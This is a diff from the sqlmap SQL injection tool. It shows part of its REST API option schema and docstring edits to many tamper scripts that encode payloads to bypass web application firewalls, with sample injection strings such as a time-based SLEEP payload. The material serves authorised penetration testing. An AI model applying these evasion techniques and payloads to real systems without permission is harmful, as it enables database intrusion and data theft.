+                  nullConnection: false 
+                  user: null 
+                  parseErrors: false 
+                  getCount: false 
+                  data: null 
+                  regAdd: false 
+                  ignoreProxy: false 
+                  database: /tmp/sqlmapipc-jGw6ZY 
+                  mobile: false 
+                  googleDork: null 
+                  saveConfig: null 
+                  sqlShell: false 
+                  tech: BEUSTQ 
+                  textOnly: false 
+                  cookieDel: null 
+                  commonColumns: false 
+                  keepAlive: false
+  /option/{taskid}/get:
+    post:
+      tags:
+      - "option"
+      summary: "Get task option value(s)"
+      description: ""
+      operationId: "optionGet"
+      consumes:
+      - "application/json"
+      produces:
+      - "application/json"
+      parameters:
+      - name: "taskid"
+        in: "path"
+        description: "ID of an existing task"
+        required: true
+        type: "string"
+      - in: body
+        name: options
+        description: ""
+        schema:
+          type: array
+          items:
+            type: string
+          example: ["url", "timeout"]
+      responses:
+        200:
+          description: "Task option value successfully retrieved"
+          schema:
+            type: object
+            properties:
+              success:
+                type: boolean
+              options:
+                type: array
+                items:
+                  type: object
+                  properties:
+                    name:
+                      type: string
+                    value:
+                      type: string
+            example:
+              - success: true
+                options:
+                  url: http://www.test.com/index.php?id=1
+                  timeout: 30
+externalDocs:
+  description: "Find out more about sqlmap API (REST-JSON)"
+  url: "https://github.com/sqlmapproject/sqlmap/wiki/Usage#api-rest-json"

tamper/0x2char.py

@@ -18,6 +18,9 @@ def tamper(payload, **kwargs):
     """
     Replaces each (MySQL) 0x<hex> encoded string with equivalent CONCAT(CHAR(),...) counterpart
 
+    Requirement:
+        * MySQL
+
     Tested against:
         * MySQL 4, 5.0 and 5.5
 

tamper/apostrophemask.py

@@ -14,7 +14,7 @@ def dependencies():
 
 def tamper(payload, **kwargs):
     """
-    Replaces apostrophe character with its UTF-8 full width counterpart
+    Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)
 
     References:
         * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128

tamper/apostrophenullencode.py

@@ -14,7 +14,7 @@ def dependencies():
 
 def tamper(payload, **kwargs):
     """
-    Replaces apostrophe character with its illegal double unicode counterpart
+    Replaces apostrophe character (') with its illegal double unicode counterpart (e.g. ' -> %00%27)
 
     >>> tamper("1 AND '1'='1")
     '1 AND %00%271%00%27=%00%271'

tamper/appendnullbyte.py

@@ -18,7 +18,7 @@ def dependencies():
 
 def tamper(payload, **kwargs):
     """
-    Appends encoded NULL byte character at the end of payload
+    Appends (Access) NULL byte character (%00) at the end of payload
 
     Requirement:
         * Microsoft Access

tamper/base64encode.py

@@ -17,7 +17,7 @@ def dependencies():
 
 def tamper(payload, **kwargs):
     """
-    Base64 all characters in a given payload
+    Base64-encodes all characters in a given payload
 
     >>> tamper("1' AND SLEEP(5)#")
     'MScgQU5EIFNMRUVQKDUpIw=='

tamper/between.py

@@ -16,8 +16,7 @@ def dependencies():
 
 def tamper(payload, **kwargs):
     """
-    Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
+    Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' and equals operator ('=') with 'BETWEEN # AND #'
-    Replaces equals operator ('=') with 'BETWEEN # AND #'
 
     Tested against:
         * Microsoft SQL Server 2005

tamper/bluecoat.py

@@ -17,8 +17,7 @@ def dependencies():
 
 def tamper(payload, **kwargs):
     """
-    Replaces space character after SQL statement with a valid random blank character.
+    Replaces space character after SQL statement with a valid random blank character. Afterwards replace character '=' with operator LIKE
-    Afterwards replace character '=' with operator LIKE
 
     Requirement:
         * Blue Coat SGOS with WAF activated as documented in

tamper/chardoubleencode.py

@@ -16,13 +16,10 @@ def dependencies():
 
 def tamper(payload, **kwargs):
     """
-    Double url-encodes all characters in a given payload (not processing
+    Double URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554)
-    already encoded)
 
     Notes:
-        * Useful to bypass some weak web application firewalls that do not
+        * Useful to bypass some weak web application firewalls that do not double URL-decode the request before processing it through their ruleset
-          double url-decode the request before processing it through their
-          ruleset
 
     >>> tamper('SELECT FIELD FROM%20TABLE')
     '%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545'

tamper/charencode.py

@@ -16,8 +16,7 @@ def dependencies():
 
 def tamper(payload, **kwargs):
     """
-    Url-encodes all characters in a given payload (not processing already
+    URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54)
-    encoded)
 
     Tested against:
         * Microsoft SQL Server 2005
@@ -26,10 +25,8 @@ def tamper(payload, **kwargs):
         * PostgreSQL 8.3, 8.4, 9.0
 
     Notes:
-        * Useful to bypass very weak web application firewalls that do not
+        * Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset
-          url-decode the request before processing it through their ruleset
+        * The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS
-        * The web server will anyway pass the url-decoded version behind,
-          hence it should work against any DBMS
 
     >>> tamper('SELECT FIELD FROM%20TABLE')
     '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'

tamper/charunicodeencode.py

@@ -18,8 +18,7 @@ def dependencies():
 
 def tamper(payload, **kwargs):
     """
-    Unicode-url-encodes non-encoded characters in a given payload (not
+    Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054)
-    processing already encoded)
 
     Requirement:
         * ASP
@@ -32,9 +31,7 @@ def tamper(payload, **kwargs):
         * PostgreSQL 9.0.3
 
     Notes:
-        * Useful to bypass weak web application firewalls that do not
+        * Useful to bypass weak web application firewalls that do not unicode URL-decode the request before processing it through their ruleset
-          unicode url-decode the request before processing it through their
-          ruleset
 
     >>> tamper('SELECT FIELD%20FROM TABLE')
     '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045'

tamper/charunicodeescape.py

@@ -13,8 +13,7 @@ __priority__ = PRIORITY.NORMAL
 
 def tamper(payload, **kwargs):
     """
-    Unicode-escapes non-encoded characters in a given payload (not
+    Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)
-    processing already encoded)
 
     Notes:
         * Useful to bypass weak filtering and/or WAFs in JSON contexes

tamper/commalesslimit.py

@@ -19,7 +19,7 @@ def dependencies():
 
 def tamper(payload, **kwargs):
     """
-    Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'
+    Replaces (MySQL) instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' counterpart
 
     Requirement:
         * MySQL

tamper/commalessmid.py

@@ -19,7 +19,7 @@ def dependencies():
 
 def tamper(payload, **kwargs):
     """
-    Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'
+    Replaces (MySQL) instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' counterpart
 
     Requirement:
         * MySQL

tamper/commentbeforeparentheses.py

@@ -16,7 +16,7 @@ def dependencies():
 
 def tamper(payload, **kwargs):
     """
-    Prepends (inline) comment before parentheses
+    Prepends (inline) comment before parentheses (e.g. ( -> /**/()
 
     Tested against:
         * Microsoft SQL Server